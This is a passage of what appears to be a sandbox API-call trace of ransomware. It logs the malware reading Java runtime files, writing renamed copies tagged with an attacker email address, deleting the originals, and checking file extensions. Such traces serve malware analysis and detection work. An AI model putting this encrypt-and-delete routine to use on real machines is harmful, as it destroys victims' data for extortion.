(hObject=0x2e8) returned 1 [0076.339] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0076.339] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll")) returned 1 [0076.339] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0076.340] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0076.340] lstrlenW (lpString=".doc") returned 4 [0076.340] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0076.340] lstrlenW (lpString=".docx") returned 5 [0076.340] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0076.340] lstrlenW (lpString=".pdf") returned 4 [0076.340] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0076.340] lstrlenW (lpString=".xls") returned 4 [0076.340] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0076.340] lstrlenW (lpString=".xlsx") returned 5 [0076.340] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0076.340] lstrlenW (lpString=".ppt") returned 4 [0076.341] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0076.341] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0076.341] lstrlenW (lpString=".zip") returned 4 [0076.341] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0076.341] lstrlenW (lpString=".rar") returned 4 [0076.341] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0076.341] lstrlenW (lpString=".bz2") returned 4 [0076.341] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0076.341] lstrlenW (lpString=".7z") returned 3 [0076.341] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0076.341] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0076.341] lstrlenW (lpString=".dbf") returned 4 [0076.341] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0076.341] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0076.341] lstrlenW (lpString=".1cd") returned 4 [0076.342] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0076.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0076.342] lstrlenW (lpString=".jpg") returned 4 [0076.342] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0076.342] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.342] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.342] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0076.343] GetLastError () returned 0x0 [0076.343] ReadFile (in: hFile=0x2e8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x40e40, lpOverlapped=0x0) returned 1 [0076.351] WriteFile (in: hFile=0x370, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x40e50, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x40e50, lpOverlapped=0x0) returned 1 [0076.358] ReadFile (in: hFile=0x2e8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0076.358] WriteFile (in: hFile=0x370, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xe6, lpOverlapped=0x0) returned 1 [0076.358] SetEndOfFile (hFile=0x370) returned 1 [0076.358] CloseHandle (hObject=0x370) returned 1 [0076.358] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.359] SetEndOfFile (hFile=0x2e8) returned 1 [0076.362] CloseHandle (hObject=0x2e8) returned 1 [0076.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0076.363] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll")) returned 1 [0076.363] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0076.363] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0076.363] lstrlenW (lpString=".doc") returned 4 [0076.363] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0076.363] lstrlenW (lpString=".docx") returned 5 [0076.364] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0076.364] lstrlenW (lpString=".pdf") returned 4 [0076.364] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0076.364] lstrlenW (lpString=".xls") returned 4 [0076.364] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0076.364] lstrlenW (lpString=".xlsx") returned 5 [0076.364] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0076.364] lstrlenW (lpString=".ppt") returned 4 [0076.364] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0076.364] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0076.364] lstrlenW (lpString=".zip") returned 4 [0076.364] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0076.364] lstrlenW (lpString=".rar") returned 4 [0076.364] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0076.364] lstrlenW (lpString=".bz2") returned 4 [0076.364] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0076.364] lstrlenW (lpString=".7z") returned 3 [0076.364] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0076.364] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0076.364] lstrlenW (lpString=".dbf") returned 4 [0076.364] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0076.364] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0076.364] lstrlenW (lpString=".1cd") returned 4 [0076.364] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0076.364] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0076.364] lstrlenW (lpString=".jpg") returned 4 [0076.364] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0076.365] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.365] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.365] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0076.366] GetLastError () returned 0x0 [0076.366] ReadFile (in: hFile=0x2e8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x6f440, lpOverlapped=0x0) returned 1 [0076.790] WriteFile (in: hFile=0x370, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x6f450, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x6f450, lpOverlapped=0x0) returned 1 [0076.798] ReadFile (in: hFile=0x2e8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0076.798] WriteFile (in: hFile=0x370, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xee, lpOverlapped=0x0) returned 1 [0076.798] SetEndOfFile (hFile=0x370) returned 1 [0076.798] CloseHandle (hObject=0x370) returned 1 [0076.798] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.798] SetEndOfFile (hFile=0x2e8) returned 1 [0076.802] CloseHandle (hObject=0x2e8) returned 1 [0076.802] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0076.803] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll")) returned 1 [0076.803] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0076.803] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0076.803] lstrlenW (lpString=".doc") returned 4 [0076.803] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0076.803] lstrlenW (lpString=".docx") returned 5 [0076.803] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0076.803] lstrlenW (lpString=".pdf") returned 4 [0076.803] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0076.803] lstrlenW (lpString=".xls") returned 4 [0076.803] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0076.804] lstrlenW (lpString=".xlsx") returned 5 [0076.804] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0076.804] lstrlenW (lpString=".ppt") returned 4 [0076.804] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0076.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0076.804] lstrlenW (lpString=".zip") returned 4 [0076.804] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0076.804] lstrlenW (lpString=".rar") returned 4 [0076.804] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0076.804] lstrlenW (lpString=".bz2") returned 4 [0076.804] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0076.804] lstrlenW (lpString=".7z") returned 3 [0076.804] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0076.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0076.804] lstrlenW (lpString=".dbf") returned 4 [0076.804] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0076.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0076.804] lstrlenW (lpString=".1cd") returned 4 [0076.804] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0076.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0076.804] lstrlenW (lpString=".jpg") returned 4 [0076.804] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0076.805] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.805] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.805] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0076.805] GetLastError () returned 0x0 [0076.805] ReadFile (in: hFile=0x2e8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x5240, lpOverlapped=0x0) returned 1 [0076.807] WriteFile (in: hFile=0x370, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x5250, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x5250, lpOverlapped=0x0) returned 1 [0076.809] ReadFile (in: hFile=0x2e8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0076.809] WriteFile (in: hFile=0x370, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xea, lpOverlapped=0x0) returned 1 [0076.809] SetEndOfFile (hFile=0x370) returned 1 [0076.809] CloseHandle (hObject=0x370) returned 1 [0076.809] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.809] SetEndOfFile (hFile=0x2e8) returned 1 [0076.810] CloseHandle (hObject=0x2e8) returned 1 [0076.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0076.811] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll")) returned 1 [0076.811] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0076.811] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0076.811] lstrlenW (lpString=".doc") returned 4 [0076.811] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0076.811] lstrlenW (lpString=".docx") returned 5 [0076.811] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0076.811] lstrlenW (lpString=".pdf") returned 4 [0076.811] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0076.811] lstrlenW (lpString=".xls") returned 4 [0076.811] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0076.811] lstrlenW (lpString=".xlsx") returned 5 [0076.811] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0076.811] lstrlenW (lpString=".ppt") returned 4 [0076.811] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0076.811] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0076.811] lstrlenW (lpString=".zip") returned 4 [0076.812] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0076.812] lstrlenW (lpString=".rar") returned 4 [0076.812] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0076.812] lstrlenW (lpString=".bz2") returned 4 [0076.812] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0076.812] lstrlenW (lpString=".7z") returned 3 [0076.812] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0076.812] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0076.812] lstrlenW (lpString=".dbf") returned 4 [0076.812] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0076.812] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0076.812] lstrlenW (lpString=".1cd") returned 4 [0076.812] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0076.812] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0076.812] lstrlenW (lpString=".jpg") returned 4 [0076.812] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0076.812] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.813] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.813] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0076.813] GetLastError () returned 0x0 [0076.813] ReadFile (in: hFile=0x2e8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x8640, lpOverlapped=0x0) returned 1 [0076.816] WriteFile (in: hFile=0x370, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x8650, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x8650, lpOverlapped=0x0) returned 1 [0076.817] ReadFile (in: hFile=0x2e8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0076.817] WriteFile (in: hFile=0x370, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xee, lpOverlapped=0x0) returned 1 [0076.817] SetEndOfFile (hFile=0x370) returned 1 [0076.818] CloseHandle (hObject=0x370) returned 1 [0076.818] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.818] SetEndOfFile (hFile=0x2e8) returned 1 [0076.819] CloseHandle (hObject=0x2e8) returned 1 [0076.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0076.819] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe")) returned 1 [0076.820] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0076.820] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0076.820] lstrlenW (lpString=".doc") returned 4 [0076.820] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0076.820] lstrlenW (lpString=".docx") returned 5 [0076.820] lstrcmpiW (lpString1=".docx", lpString2="h.exe") returned -1 [0076.820] lstrlenW (lpString=".pdf") returned 4 [0076.820] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0076.820] lstrlenW (lpString=".xls") returned 4 [0076.820] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0076.820] lstrlenW (lpString=".xlsx") returned 5 [0076.820] lstrcmpiW (lpString1=".xlsx", lpString2="h.exe") returned -1 [0076.820] lstrlenW (lpString=".ppt") returned 4 [0076.820] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0076.820] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0076.820] lstrlenW (lpString=".zip") returned 4 [0076.820] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0076.820] lstrlenW (lpString=".rar") returned 4 [0076.820] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0076.820] lstrlenW (lpString=".bz2") returned 4 [0076.820] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0076.820] lstrlenW (lpString=".7z") returned 3 [0076.820] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0076.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0076.821] lstrlenW (lpString=".dbf") returned 4 [0076.821] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0076.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0076.821] lstrlenW (lpString=".1cd") returned 4 [0076.821] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0076.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0076.821] lstrlenW (lpString=".jpg") returned 4 [0076.821] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0076.970] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.970] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.970] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0076.971] GetLastError () returned 0x0 [0076.971] ReadFile (in: hFile=0x348, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x3e40, lpOverlapped=0x0) returned 1 [0076.972] WriteFile (in: hFile=0x39c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x3e50, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x3e50, lpOverlapped=0x0) returned 1 [0076.973] ReadFile (in: hFile=0x348, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0076.973] WriteFile (in: hFile=0x39c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0076.974] SetEndOfFile (hFile=0x39c) returned 1 [0076.974] CloseHandle (hObject=0x39c) returned 1 [0076.974] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.974] SetEndOfFile (hFile=0x348) returned 1 [0076.975] CloseHandle (hObject=0x348) returned 1 [0076.975] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0076.975] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe")) returned 1 [0076.975] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0076.975] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0076.975] lstrlenW (lpString=".doc") returned 4 [0076.976] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0076.976] lstrlenW (lpString=".docx") returned 5 [0076.976] lstrcmpiW (lpString1=".docx", lpString2="i.exe") returned -1 [0076.976] lstrlenW (lpString=".pdf") returned 4 [0076.976] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0076.976] lstrlenW (lpString=".xls") returned 4 [0076.976] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0076.976] lstrlenW (lpString=".xlsx") returned 5 [0076.976] lstrcmpiW (lpString1=".xlsx", lpString2="i.exe") returned -1 [0076.976] lstrlenW (lpString=".ppt") returned 4 [0076.976] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0076.976] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0076.976] lstrlenW (lpString=".zip") returned 4 [0076.976] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0076.976] lstrlenW (lpString=".rar") returned 4 [0076.976] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0076.976] lstrlenW (lpString=".bz2") returned 4 [0076.976] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0076.976] lstrlenW (lpString=".7z") returned 3 [0076.976] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0076.976] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0076.976] lstrlenW (lpString=".dbf") returned 4 [0076.976] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0076.976] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0076.976] lstrlenW (lpString=".1cd") returned 4 [0076.976] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0076.976] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0076.976] lstrlenW (lpString=".jpg") returned 4 [0076.976] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0076.977] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.977] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.977] CreateFileW (lpFileName="C:\\Program 